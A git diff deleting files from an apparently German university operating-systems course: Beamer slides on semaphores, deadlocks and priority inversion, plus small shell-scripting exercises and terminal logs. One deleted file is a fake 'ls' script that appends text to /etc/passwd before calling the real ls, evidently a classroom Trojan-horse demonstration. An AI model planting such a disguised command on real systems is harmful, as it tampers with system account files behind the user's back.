\put(9.0,-0.1){\line(-1,0){6.8}} - \put(9.0,-0.1){\line(0,-1){1.05}} - \put(9.0,-1.15){\vector(-1,0){2.2}} - \end{picture} - - \bigskip - - Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 110: - - \medskip - - \begin{lstlisting} - asm volatile (lock "cmpxchgl %2,%1" \ - : "=a" (__ret), "+m" (*__ptr) \ - : "r" (__new), "0" (__old) \ - : "memory"); - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(9.8,1.8){\vector(-1,0){0.6}} - \put(9.8,1.2){\line(0,1){0.6}} - \put(9.8,1.1){\makebox(0,0)[t]{\shortstack{atomarer und exklusiver\\Zugriff auf Spinlock\\durch Hardware-Unterstützung}}} - \end{picture} - -\end{frame} - -\setlength{\pdfpageheight}{\normalpdfpageheight} - -%\sectionnonumber{Literaturempfehlung} -%\subsectionnonumber{Automotive Embedded Systeme} -% -%\begin{frame}[c] -% -% \showsectionnonumber -% -% Prof.\ Dr.\ Joachim Wietzke, FH Darmstadt,\\ -% Prof.\ Dr.\ Manh Tien Tran, FH Kaiserslautern: -% -% \medskip -% -% \showsubsectionnonumber -% -% \vspace{-\medskipamount} -% -% Springer-Verlag, Berlin, Heidelberg 2005 -% -% \bigskip -% -% Lizenz: proprietär -% -% \medskip -% -% (gesetzt mit \textrm{\LaTeX}, ca.\ \EUR{10}) -% -%\end{frame} - -\begin{frame} - - \showsection - \showsubsection - - Ressourcen reservieren - \begin{itemize} - \item - \newterm{Semaphor}\\ - gemeinsame Variable mehrerer Prozesse\\ - zur Regelung des Zugriffs auf eine Ressource\\[\smallskipamount] - Ressource belegt \textarrow\ Kontextwechsel - \medskip - \item - \newterm{Mutex}\\ - Mechanismus, damit immer nur ein Prozeß gleichzeitig\\ - auf eine Ressource zugreifen kann - \medskip - \item - \newterm{Spinlock} (\emph{busy waiting\/})\\ - leichtgewichtige Alternative zu Kontextwechsel - \medskip - \item - \newterm{Kritischer Abschnitt -- critical section}\\ - Programmabschnitt zwischen Reservierung\\ - und Freigabe einer Ressource\\ - \textarrow\ sollte immer so kurz wie möglich sein - \end{itemize} - -\end{frame} - -\begin{frame} - - \showsection - \showsubsection - - \begin{picture}(0,0) - \only<2-3>{\put(6.3,-7){\includegraphics[height=6cm]{philosophenproblem.jpg}}} - \end{picture}% - \newterm{Verklemmungen\/}: Gegenseitiges Blockieren von Ressourcen - \begin{itemize} - \item - \newterm{Deadlock\/}: Prozeß wartet - \item - \newterm{Livelock\/}: Prozeß macht andere Dinge\\ - (z.\,B.\ \emph{busy waiting\/}) - \end{itemize} - - \pause - \bigskip - - Beispiel: Philosophenproblem - - \only<2-3>{% - \begin{itemize} - \item - 5 Philosophen, 5 Gabeln - \item - 2 Gabeln zum Essen notwendig - \item - Wer essen will, nimmt eine Gabel\\ - und wartet notfalls auf die zweite. - \item - Keiner legt eine einzelne Gabel\\ - wieder zurück. - \end{itemize} - Jeder hält 1 Gabel \textarrow\ \newterm{Verklemmung}\\[0.5\smallskipamount] - \pause - \strut\quad schweigen \textarrow\ \newterm{Deadlock}\\ - \strut\quad philosophieren weiter \textarrow\ \newterm{Livelock}\\[-1cm] - } - \only<4->{% - \bigskip - - Bedingungen für Verklemmungen: - - \begin{minipage}[t]{4.5cm} - \begin{itemize} - \item - Exklusivität - \item - \newterm{hold and wait} - \item - Entzug nicht möglich - \item - zirkuläre Blockade - \end{itemize} - \end{minipage}\pause[5] - \begin{minipage}[t]{7.5cm} - \begin{itemize} - \arrowitem - Spooling - \arrowitem - simultane Zuteilung - \arrowitem - Prozesse suspendieren, beenden, \newterm{Rollback} - \arrowitem - Reihenfolge abhängig von Ressourcen - \end{itemize} - \end{minipage} - } - -\end{frame} - -\subsection{Prioritäten} - -\begin{frame} - - \showsection - \showsubsection - - Linux 0.01 - \begin{itemize} - \item - Timer-Interrupt: Zähler des aktuellen Prozesses wird dekrementiert;\\ - Prozeß mit höchstem Zähler bekommt Rechenzeit. - \item - Wenn es keinen laufbereiten Prozeß mit positivem Zähler gibt,\\ - bekommen alle Prozesse gemäß ihrer \newterm{Priorität\/} neue Zähler zugewiesen. - \item - \emph{keine\/} harte Echtzeit - \arrowitem - \newterm{dynamische Prioritätenvergabe\/}:\\ - Rechenzeit hängt vom Verhalten des Prozesses ab - \end{itemize} - - \medskip - - Echtzeitbetriebssysteme - \begin{itemize} - \item - Prozesse können einen festen Anteil an Rechenzeit bekommen. - \item - Bei Ereignissen können Prozesse hoher Priorität\\ - Prozesse niedriger Priorität unterbrechen, aber nicht umgekehrt. - \arrowitem - \newterm{statische Prioritätenvergabe} - \end{itemize} - -\end{frame} - -\begin{frame} - - \showsection - \showsubsection - - Echtzeitbetriebssysteme - \begin{itemize} - \item - Prozesse können einen festen Anteil an Rechenzeit bekommen. - \item - Bei Ereignissen können Prozesse hoher Priorität\\ - Prozesse niedriger Priorität unterbrechen, aber nicht umgekehrt. - \end{itemize} - - \vspace{0cm plus 1filll} - - \begin{center} - \begin{picture}(11,4)(-1,0) - \small - - \put(-0.1,0.5){\vector(1,0){10.1}} - \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}} - \put(0,0.4){\vector(0,1){3.6}} - \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}} - - \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} - \put(3,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}} - \put(5,3){{\color{lightorange}\rule{0.6cm}{0.4cm}}} - \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} - \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}} - \put(0,3){\line(1,0){10}} - - \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}} - \put(1.5,1){{\color{lightgreen}\rule{1.5cm}{0.4cm}}} - \put(3.7,1){{\color{lightgreen}\rule{0.6cm}{0.4cm}}} - \alt<1>{% - \put(7.9,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}} - }{% - \put(8.1,1){{\color{lightgreen}\rule{0.9cm}{0.4cm}}} - } - \put(9.7,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}} - \put(0,1){\line(1,0){10}} - - \pause - - \put(4.6,2){{\color{lightyellow}\rule{0.4cm}{0.4cm}}} - \put(5.7,2){{\color{lightyellow}\rule{1.3cm}{0.4cm}}} - \put(7.7,2){{\color{lightyellow}\rule{0.4cm}{0.4cm}}} - \put(0,2){\line(1,0){10}} - - \end{picture} - \end{center} - -\end{frame} - -\subsectionnonumber{Prioritäten \protect\color{darkgray}und Ressourcen} - -\begin{frame} - - \showsection - \showsubsection - - \only<4->{% - Der höher priorisierte Prozeß bewirkt selbst,\\ - daß er eine Ressource verspätet bekommt. - - \medskip - - \textarrow\ \newterm{begrenzte Prioritätsinversion} - - \medskip - - maximale Verzögerung: Länge des kritischen Bereichs - } - - \vspace{0cm plus 1filll} - - \begin{center} - \begin{picture}(11,4)(-1,0) - \small - - \put(-0.1,0.5){\vector(1,0){10.1}} - \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}} - \put(0,0.4){\vector(0,1){3.6}} - \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}} - - \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} - \only<1-2>{\put(3,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}} - \only<3->{\put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}}} - \only<3-4>{% - \put(3.4,3){{\color{red}\rule{0.8cm}{0.4cm}}} - \put(4.2,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}} - {\thicklines - \put(3.3,2.95){\line(2,1){1.0}} - \put(3.3,3.45){\line(2,-1){1.0}}} - } - \only<5->{% - \put(3.9,3){{\color{red}\rule{0.8cm}{0.4cm}}} - \put(4.7,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}} - } - \put(5,3){{\color{lightorange}\rule{0.6cm}{0.4cm}}} - \only<1-2>{% - \put(5.4,3){{\color{red}\rule{0.8cm}{0.4cm}}} - \put(6.2,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}} - } - \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} - \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}} - \put(0,3){\line(1,0){10}} - - \only<2->{% - \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}} - \put(1.5,1){{\color{lightgreen}\rule{1.5cm}{0.4cm}}} - \put(2.6,1){{\color{medgreen}\rule{0.4cm}{0.4cm}}} - \only<2-4>{% - \put(3.7,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}} - \put(4.2,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}} - } - \only<5->{% - \put(3.4,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}} - \put(4.9,1){{\color{lightgreen}\rule{0.1cm}{0.4cm}}} - \put(5.6,1){{\color{lightgreen}\rule{0.2cm}{0.4cm}}} - } - \put(7.7,1){{\color{lightgreen}\rule{1.3cm}{0.4cm}}} - \put(9.7,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}} - \put(0,1){\line(1,0){10}} - } - \end{picture} - \end{center} - -\end{frame} - -\begin{frame} - - \showsection - \showsubsection - - \visible<4->{% - Ein Prozeß mit mittlerer Priorität bewirkt, - daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt. - - \medskip - - \textarrow\ }\newterm{unbegrenzte Prioritätsinversion} - - \pause - \vspace{0cm plus 1filll} - - \begin{center} - \begin{picture}(11,4)(-1,0) - \small - - \put(-0.1,0.5){\vector(1,0){10.1}} - \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}} - \put(0,0.4){\vector(0,1){3.6}} - \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}} - - \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} - \put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}} - \only<2>{% - \put(3.4,3){{\color{red}\rule{0.8cm}{0.4cm}}} - \put(4.2,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}} - {\thicklines - \put(3.3,2.95){\line(2,1){1.0}} - \put(3.3,3.45){\line(2,-1){1.0}}} - \put(5,3){{\color{lightorange}\rule{0.6cm}{0.4cm}}} - \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} - \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}} - } - \put(0,3){\line(1,0){10}} - - \only<2->{% - \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}} - \put(1.5,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}} - \alt<1-4>{% - \put(2.6,1){{\color{medgreen}\rule{0.4cm}{0.4cm}}} - }{% - \put(2.6,1){{\color{medgreen}\rule{0.2cm}{0.4cm}}} - } - \only<2>{% - \put(3.7,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}} - \put(4.2,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}} - } - \only<3-4>{% - \put(3.4,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}} -% \put(3.9,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}} - } - \only<2>{% - \put(7.7,1){{\color{lightgreen}\rule{1.3cm}{0.4cm}}} - \put(9.7,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}} - } - \put(0,1){\line(1,0){10}} - } - - \only<5->{% - \put(2.8,2){{\color{lightyellow}\rule{0.2cm}{0.4cm}}} - \put(3.4,2){{\color{lightyellow}\rule{6.6cm}{0.4cm}}} - \put(0,2){\line(1,0){10}} - } - \end{picture} - \end{center} - -\end{frame} - -\begin{frame} - - \showsection - \showsubsection - - Ein Prozeß mit mittlerer Priorität bewirkt, - daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt. - - \medskip - - \textarrow\ \newterm{unbegrenzte Prioritätsinversion} - - \medskip - - Beispiel: Beinahe-Verlust der Marssonde \emph{Pathfinder\/} im Juli 1997 - - \only<1>{% - \begin{center} - \includegraphics[width=8.7cm]{pathfinder.jpg} - \end{center} - \vspace*{-1cm} - } - - \only<2->{% - \bigskip - - Gegenmaßnahmen - \begin{itemize} - \item - \newterm{Priority Inheritance -- Prioritätsvererbung}\\ - Der Besitzer des Mutex erbt die Priorität\\ - des Prozesses, der auf den Mutex wartet. - \smallskip - \item - \newterm{Priority Ceiling -- Prioritätsobergrenze}\\ - Der Besitzer des Mutex bekommt sofort\\ - die Priorität des höchstmöglichen Prozesses,\\ - der evtl.\ den Mutex benötigen könnte. - \smallskip - \item - \newterm{Priority Aging}\\ - Die Priorität wächst mit der Wartezeit. - \pause[3] - \begin{picture}(0,0) - \put(1.2,2.5){\makebox(0,0)[l]{$\left\}\rule{0pt}{1.7cm}\right.$ - \begin{minipage}{4cm} - nur möglich, wenn\\ - Mutexe im Spiel sind - \end{minipage}}} - \end{picture} - \end{itemize} - \vspace*{-1cm} - } - -\end{frame} - -\fi - -\end{document} diff --git a/20220314/foo/test-2.txt b/20220314/foo/test-2.txt deleted file mode 100644 index 345e6aef713208c8d50cdea23b85e6ad831f0449..0000000000000000000000000000000000000000 --- a/20220314/foo/test-2.txt +++ /dev/null @@ -1 +0,0 @@ -Test diff --git a/20220314/foo/test.txt b/20220314/foo/test.txt deleted file mode 100644 index 345e6aef713208c8d50cdea23b85e6ad831f0449..0000000000000000000000000000000000000000 --- a/20220314/foo/test.txt +++ /dev/null @@ -1 +0,0 @@ -Test diff --git a/20220314/hello b/20220314/hello deleted file mode 100755 index c8409c9b97d63f1fbd62f0b99c557a3498ba60e5..0000000000000000000000000000000000000000 Binary files a/20220314/hello and /dev/null differ diff --git a/20220314/hello-1.log b/20220314/hello-1.log deleted file mode 100644 index bd74cea928b878aef35fae4df72f4065cf0a2c2d..0000000000000000000000000000000000000000 --- a/20220314/hello-1.log +++ /dev/null @@ -1,12 +0,0 @@ -cassini/home/peter/bo/2022ss/bs/20220314> cat hello.sh -echo "Hello, world!" -cassini/home/peter/bo/2022ss/bs/20220314> ./hello.sh -bash: ./hello.sh: Keine Berechtigung -cassini/home/peter/bo/2022ss/bs/20220314> ls -l hello.sh --rw-r--r-- 1 peter peter 21 Mär 14 15:43 hello.sh -cassini/home/peter/bo/2022ss/bs/20220314> chmod +x hello.sh -cassini/home/peter/bo/2022ss/bs/20220314> ls -l hello.sh --rwxr-xr-x 1 peter peter 21 Mär 14 15:43 hello.sh -cassini/home/peter/bo/2022ss/bs/20220314> ./hello.sh -Hello, world! -cassini/home/peter/bo/2022ss/bs/20220314> diff --git a/20220314/hello.c b/20220314/hello.c deleted file mode 100644 index 3e8b1632efa5c19a889c00805497d0b07dea56ea..0000000000000000000000000000000000000000 --- a/20220314/hello.c +++ /dev/null @@ -1,8 +0,0 @@ -#include <stdio.h> - -int main (void) -{ - printf ("Hello, world!\n"); - return 0; -} -Test diff --git a/20220314/hello.sh b/20220314/hello.sh deleted file mode 100755 index 496af8dffb429e184f3bb536ad37c3eab61cd4b6..0000000000000000000000000000000000000000 --- a/20220314/hello.sh +++ /dev/null @@ -1 +0,0 @@ -echo "Hello, world!" diff --git a/20220314/ls b/20220314/ls deleted file mode 100755 index bcd0818450af6f9403c5644591c930be2d63242d..0000000000000000000000000000000000000000 --- a/20220314/ls +++ /dev/null @@ -1,2 +0,0 @@ -echo "Fiese Dinge" >> /etc/passwd -/bin/ls "$@" diff --git a/20220314/test-2.txt b/20220314/test-2.txt deleted file mode 100644 index 345e6aef713208c8d50cdea23b85e6ad831f0449..0000000000000000000000000000000000000000 --- a/20220314/test-2.txt +++ /dev/null @@ -1 +0,0 @@ -Test diff --git a/20220314/test.txt b/20220314/test.txt deleted file mode 100644 index 345e6aef713208c8d50cdea23b85e6ad831f0449..0000000000000000000000000000000000000000 --- a/20220314/test.txt +++ /dev/null @@ -1 +0,0 @@ -Test diff --git a/20220321/Operating_system_placement-de.pdf b/20220321/Operating_system_placement-de.pdf deleted file mode 120000 index 0ac467095a599f2fdacc118bc84feb070a03d2d5..0000000000000000000000000000000000000000 --- a/20220321/Operating_system_placement-de.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/Operating_system_placement-de.pdf \ No newline at end of file diff --git a/20220321/hello b/20220321/hello deleted file mode 100755 index 496af8dffb429e184f3bb536ad37c3eab61cd4b6..0000000000000000000000000000000000000000 --- a/20220321/hello +++ /dev/null @@ -1 +0,0 @@ -echo "Hello, world!" diff --git a/20220321/hello-1 b/20220321/hello-1 deleted file mode 100755 index 9f3f770bfcccad3d62d2e2d08b077469ef3722fa..0000000000000000000000000000000000000000 --- a/20220321/hello-1 +++ /dev/null @@ -1,3 +0,0 @@ -#!/bin/bash - -echo "Hello, world!" diff --git a/20220321/hello-1.bc b/20220321/hello-1.bc deleted file mode 100755 index 70d547814271d384a1fb1c736303166d8b208a37..0000000000000000000000000000000000000000 --- a/20220321/hello-1.bc +++ /dev/null @@ -1,3 +0,0 @@ -#!/bin/bc - -2 + 2 diff --git a/20220321/hello-2.bc b/20220321/hello-2.bc deleted file mode 100755 index 824ea4ec82fb458e0f05cf8de828f5f41f142d49..0000000000000000000000000000000000000000 --- a/20220321/hello-2.bc +++ /dev/null @@ -1,3 +0,0 @@ -#!/usr/bin/bc - -2 + 2 diff --git a/20220321/hello-3.bc b/20220321/hello-3.bc deleted file mode 100755 index f1bff564d4c6419879aa4ab5546490249ca21bc5..0000000000000000000000000000000000000000 --- a/20220321/hello-3.bc +++ /dev/null @@ -1,4 +0,0 @@ -#!/usr/bin/bc - -2 + 2 -quit diff --git a/20220321/logo-hochschule-bochum-cvh-text.pdf b/20220321/logo-hochschule-bochum-cvh-text.pdf deleted file mode 120000 index a05946126bc0ce6a2818740da2893f59eb0c659c..0000000000000000000000000000000000000000 --- a/20220321/logo-hochschule-bochum-cvh-text.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum-cvh-text.pdf \ No newline at end of file diff --git a/20220321/logo-hochschule-bochum.pdf b/20220321/logo-hochschule-bochum.pdf deleted file mode 120000 index b6b9491e370e499c9276918182cdb82cb311bcd1..0000000000000000000000000000000000000000 --- a/20220321/logo-hochschule-bochum.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum.pdf \ No newline at end of file diff --git a/20220321/pgslides.sty b/20220321/pgslides.sty deleted file mode 120000 index 5be1416f4216f076aa268901f52a15d775e43f64..0000000000000000000000000000000000000000 --- a/20220321/pgslides.sty +++ /dev/null @@ -1 +0,0 @@ -../common/pgslides.sty \ No newline at end of file diff --git a/20220321/test-1.txt b/20220321/test-1.txt deleted file mode 100644 index 345e6aef713208c8d50cdea23b85e6ad831f0449..0000000000000000000000000000000000000000 --- a/20220321/test-1.txt +++ /dev/null @@ -1 +0,0 @@ -Test diff --git a/20220321/test-2.txt b/20220321/test-2.txt deleted file mode 120000 index e512c20fae491086c36ada7e2b276df83e32b1bd..0000000000000000000000000000000000000000 --- a/20220321/test-2.txt +++ /dev/null @@ -1 +0,0 @@ -test-1.txt \ No newline at end of file diff --git a/20220321/test-3.txt b/20220321/test-3.txt deleted file mode 100644 index 345e6aef713208c8d50cdea23b85e6ad831f0449..0000000000000000000000000000000000000000 --- a/20220321/test-3.txt +++ /dev/null @@ -1 +0,0 @@ -Test diff --git a/20220321/test-4.txt b/20220321/test-4.txt deleted file mode 100644 index 345e6aef713208c8d50cdea23b85e6ad831f0449..0000000000000000000000000000000000000000 --- a/20220321/test-4.txt +++ /dev/null @@ -1 +0,0 @@ -Test diff --git a/20220328/Uebung.zip b/20220328/Uebung.zip deleted file mode 100644 index a46637114292c36a77c600be31b59a5012d3afe4..0000000000000000000000000000000000000000 Binary files a/20220328/Uebung.zip and /dev/null differ diff --git a/20220328/Uebung/AppRelease.h b/20220328/Uebung/AppRelease.h deleted file mode 100644 index 8e34ceec8b7295b0a0b0318024561dfe39069a70..0000000000000000000000000000000000000000 --- a/20220328/Uebung/AppRelease.h +++ /dev/null @@ -1,6 +0,0 @@ -#if defined (testconfig1) - #define FW_RELEASE 0x0123u /* BCD format, 16 bit */ - -#elif defined (testconfig2) - #define FW_RELEASE 0x4567u /* BCD format, 16 bit */ - diff --git a/20220328/Uebung/get_release.sh b/20220328/Uebung/get_release.sh deleted file mode 100644 index 3eeec91b37c80adb7930499f205ff65ff7c63e4c..0000000000000000000000000000000000000000 --- a/20220328/Uebung/get_release.sh +++ /dev/null @@ -1,22 +0,0 @@ -#!/bin/bash - -APP_RELEASE_PATH=AppRelease.h -APP_CONFIGURATION=testconfig1 - -# grep: -n:Zeilennummer, -w:vollständiges Wort, -i:ignoriere Gross/Kleinschreibung -# cut: -d:Trennzeichen, -f1: auszugebende Felder - -LINE=$(grep -nwi $APP_RELEASE_PATH -e $APP_CONFIGURATION | cut -d":" -f1) -LINE=$((LINE + 1)) - -# sed: -n:quiet, regex: suche nach '0x' und gib den String ab dort zurück - -VERSION=$(sed -n ${LINE}p $APP_RELEASE_PATH | sed -n 's/.*\(0x\)/\1/p') -# Alternative: -# VERSION=$(sed -n ${LINE}p $APP_RELEASE_PATH | grep -o "0x[0-9a-f].*u) - - -# Ueberspringe die ersten zwei Zeichen aus $VERSION und gebe die folgenden zwei Zeichen zurück. - -echo ${VERSION:2:2}.${VERSION:4:2} - diff --git a/20220328/Uebung/get_release.txt b/20220328/Uebung/get_release.txt deleted file mode 100644 index 35bcbf01a7a4cd6e381ab54aed4ec35624f40e00..0000000000000000000000000000000000000000 --- a/20220328/Uebung/get_release.txt +++ /dev/null @@ -1,44 +0,0 @@ -cassini/home/peter/bo/2022ss/bs/20220328/Uebung> cat get_release.sh -#!/bin/bash - -APP_RELEASE_PATH=AppRelease.h -APP_CONFIGURATION=testconfig1 - -# grep: -n:Zeilennummer, -w:vollständiges Wort, -i:ignoriere Gross/Kleinschreibung -# cut: -d:Trennzeichen, -f1: auszugebende Felder - -LINE=$(grep -nwi $APP_RELEASE_PATH -e $APP_CONFIGURATION | cut -d":" -f1) -LINE=$((LINE + 1)) - -# sed: -n:quiet, regex: suche nach '0x' und gib den String ab dort zurück - -VERSION=$(sed -n ${LINE}p $APP_RELEASE_PATH | sed -n 's/.*\(0x\)/\1/p') -# Alternative: -# VERSION=$(sed -n ${LINE}p $APP_RELEASE_PATH | grep -o "0x[0-9a-f].*u) - - -# Ueberspringe die ersten zwei Zeichen aus $VERSION und gebe die folgenden zwei Zeichen zurück. - -echo ${VERSION:2:2}.${VERSION:4:2} - -cassini/home/peter/bo/2022ss/bs/20220328/Uebung> chmod +x get_release.sh -cassini/home/peter/bo/2022ss/bs/20220328/Uebung> ./get_release.sh -01.23 -cassini/home/peter/bo/2022ss/bs/20220328/Uebung> cat AppRelease.h -#if defined (testconfig1) - #define FW_RELEASE 0x0123u /* BCD format, 16 bit */ - -#elif defined (testconfig2) - #define FW_RELEASE 0x4567u /* BCD format, 16 bit */ - -cassini/home/peter/bo/2022ss/bs/20220328/Uebung> echo " #define FW_RELEASE 0x0123u /* BCD format, 16 bit */" - #define FW_RELEASE 0x0123u /* BCD format, 16 bit */ -Sie haben neue Post in /var/mail/peter. -cassini/home/peter/bo/2022ss/bs/20220328/Uebung> echo " #define FW_RELEASE 0x0123u /* BCD format, 16 bit */" | sed -n 's/.*\(0x\)/\1/p' -0x0123u /* BCD format, 16 bit */ -cassini/home/peter/bo/2022ss/bs/20220328/Uebung> echo " #define FW_RELEASE 0x0123u /* BCD format, 16 bit */" | sed -n 's/.*0x/0x/p' -0x0123u /* BCD format, 16 bit */ -cassini/home/peter/bo/2022ss/bs/20220328/Uebung> echo " #define FW_RELEASE 0x0123u /* BCD format, 16 bit */" | sed -n 's/^.*0x/0x/p' -0x0123u /* BCD format, 16 bit */ -cassini/home/peter/bo/2022ss/bs/20220328/Uebung> echo " #define FW_RELEASE 0x0123u /* BCD format, 16 bit */" | grep -o "0x[0-9a-f].*u" -0x0123u diff --git a/20220328/bs-20220328.txt b/20220328/bs-20220328.txt deleted file mode 100644 index 4eca19b07977c77d38f02aba4b1522ad4cbb5007..0000000000000000000000000000000000000000 --- a/20220328/bs-20220328.txt +++ /dev/null @@ -1,23 +0,0 @@ -Übungsaufgabe: - -Schreiben Sie ein Unix-Shell-Skript, das eine alltägliche Aufgabe -automatisch erledigt. - -Beispiel: Bilder von einer Webseite herunterladen - - -#!/bin/bash - -src=../'ukraine-2022-krieg-bilderstrecke-Krieg in der Ukraine: Tag 19 in Bildern - SZ.de.html' -url='https://www.sueddeutsche.de/projekte/artikel/politik/krieg-in-der-ukraine-tag-19-in-bildern-e418674/' - -grep -o '_modules_[0-9]*_data_[selct_]*background_image_desktop[0-9a-fwhqr-]*\.jpg' "$src" \ - | while read pattern; do - wget "$url$pattern" - done - - -Bilderstrecken: https://www.sueddeutsche.de/projekte/artikel/politik/krieg-in-der-ukraine-e333697/ - - -SUBPAGES=$(curl -Ssl https://www.sueddeutsche.de/projekte/artikel/politik/krieg-in-der-ukraine-e333697/ | grep -o "class=\"link svelte-1mm0cdc\" href=\".*/.*\">" | grep -o "https.*/") diff --git a/20220328/for-1.txt b/20220328/for-1.txt deleted file mode 100644 index 45ea9d90b5a286da356d78be0f26d5b41574481e..0000000000000000000000000000000000000000 --- a/20220328/for-1.txt +++ /dev/null @@ -1,47 +0,0 @@ -cassini/home/peter/bo/2022ss/bs/20220314> for x in foo bar baz; do echo $x; done -foo -bar -baz -cassini/home/peter/bo/2022ss/bs/20220314> for x in 1 2 3 4 5 6 7 8 9 10; do echo $x; done -1 -2 -3 -4 -5 -6 -7 -8 -9 -10 -cassini/home/peter/bo/2022ss/bs/20220314> for x in $(seq 10); do echo $x; done -1 -2 -3 -4 -5 -6 -7 -8 -9 -10 -cassini/home/peter/bo/2022ss/bs/20220314> for x in $(seq -f "%04g" 10); do echo $x; done -0001 -0002 -0003 -0004 -0005 -0006 -0007 -0008 -0009 -0010 -cassini/home/peter/bo/2022ss/bs/20220314> for x in $(seq -f "%04g" 17 23); do echo $x; done -0017 -0018 -0019 -0020 -0021 -0022 -0023 -cassini/home/peter/bo/2022ss/bs/20220314> echo cp -pi $(for x in $(seq -f "image-%04g.jpg" 17 23); do echo $x; done) sonstwohin/ -cp -pi image-0017.jpg image-0018.jpg image-0019.jpg image-0020.jpg image-0021.jpg image-0022.jpg image-0023.jpg sonstwohin/ diff --git a/20220328/for-2.txt b/20220328/for-2.txt deleted file mode 100644 index 8bd7fa4741af859af1de3b88d53e48cc7d62c4c3..0000000000000000000000000000000000000000 --- a/20220328/for-2.txt +++ /dev/null @@ -1,11 +0,0 @@ -cassini/home/peter/bo/2022ss/bs/20220314> for ((i = 1 ; i <= 10 ; i++)); do echo $i; done -1 -2 -3 -4 -5 -6 -7 -8 -9 -10 diff --git a/20220328/get-imgs-1.sh b/20220328/get-imgs-1.sh deleted file mode 100755 index fa2b11067d91aaa5597913f8f534de6631f0ee97..0000000000000000000000000000000000000000 --- a/20220328/get-imgs-1.sh +++ /dev/null @@ -1,11 +0,0 @@ -#!/bin/bash - -URL="https://www.sueddeutsche.de/projekte/artikel/politik/krieg-in-der-ukraine-e333697/" - -SUBPAGES=$(curl -Ssl "$URL" \ - | grep -o "class=\"link svelte-1mm0cdc\" href=\".*/.*\">" \ - | grep -o "https.*/") - -for x in $SUBPAGES; do - echo $x -done diff --git a/20220328/get-imgs-2.sh b/20220328/get-imgs-2.sh deleted file mode 100755 index 08023470baf1971de3f869ac3bcf744c779f9bb2..0000000000000000000000000000000000000000 --- a/20220328/get-imgs-2.sh +++ /dev/null @@ -1,14 +0,0 @@ -#!/bin/bash - -URL="https://www.sueddeutsche.de/projekte/artikel/politik/krieg-in-der-ukraine-e333697/" -TMPDIR=tmp - -SUBPAGES=$(curl -Ssl "$URL" \ - | grep -o "class=\"link svelte-1mm0cdc\" href=\".*/.*\">" \ - | grep -o "https.*/") - -mkdir "$TMPDIR" -cd "$TMPDIR" -for x in $SUBPAGES; do - wget "$x" -done diff --git a/20220328/if-0.txt b/20220328/if-0.txt deleted file mode 100644 index eebd06ef7ccfc35b6878d2d7b5cbe4be5ae14b8c..0000000000000000000000000000000000000000 --- a/20220328/if-0.txt +++ /dev/null @@ -1,11 +0,0 @@ -cassini/home/peter/bo/2022ss/bs/20220314> cat test.txt -Test -cassini/home/peter/bo/2022ss/bs/20220314> grep Test test.txt -Test -cassini/home/peter/bo/2022ss/bs/20220314> grep Toast test.txt -cassini/home/peter/bo/2022ss/bs/20220314> echo $? -1 -cassini/home/peter/bo/2022ss/bs/20220314> grep Test test.txt -Test -cassini/home/peter/bo/2022ss/bs/20220314> echo $? -0 diff --git a/20220328/if-1.txt b/20220328/if-1.txt deleted file mode 100644 index 5db8031ed6a81cbbb11785bd14322dd461a3c3b5..0000000000000000000000000000000000000000 --- a/20220328/if-1.txt +++ /dev/null @@ -1,7 +0,0 @@ -cassini/home/peter/bo/2022ss/bs/20220314> if grep Test test.txt; then echo "gefunden"; else echo "nicht gefunden"; fi -Test -gefunden -cassini/home/peter/bo/2022ss/bs/20220314> if grep Test test.txt > /dev/null; then echo "gefunden"; else echo "nicht gefunden"; fi -gefunden -cassini/home/peter/bo/2022ss/bs/20220314> if grep -q Test test.txt; then echo "gefunden"; else echo "nicht gefunden"; fi -gefunden diff --git a/20220328/if-2.txt b/20220328/if-2.txt deleted file mode 100644 index 60732c3ed53863772c1832529866417685c0f662..0000000000000000000000000000000000000000 --- a/20220328/if-2.txt +++ /dev/null @@ -1,5 +0,0 @@ -cassini/home/peter/bo/2022ss/bs/20220314> if grep -q Test test.txt -> then echo "gefunden" -> else echo "nicht gefunden" -> fi -gefunden diff --git a/20220328/if-3.sh b/20220328/if-3.sh deleted file mode 100755 index 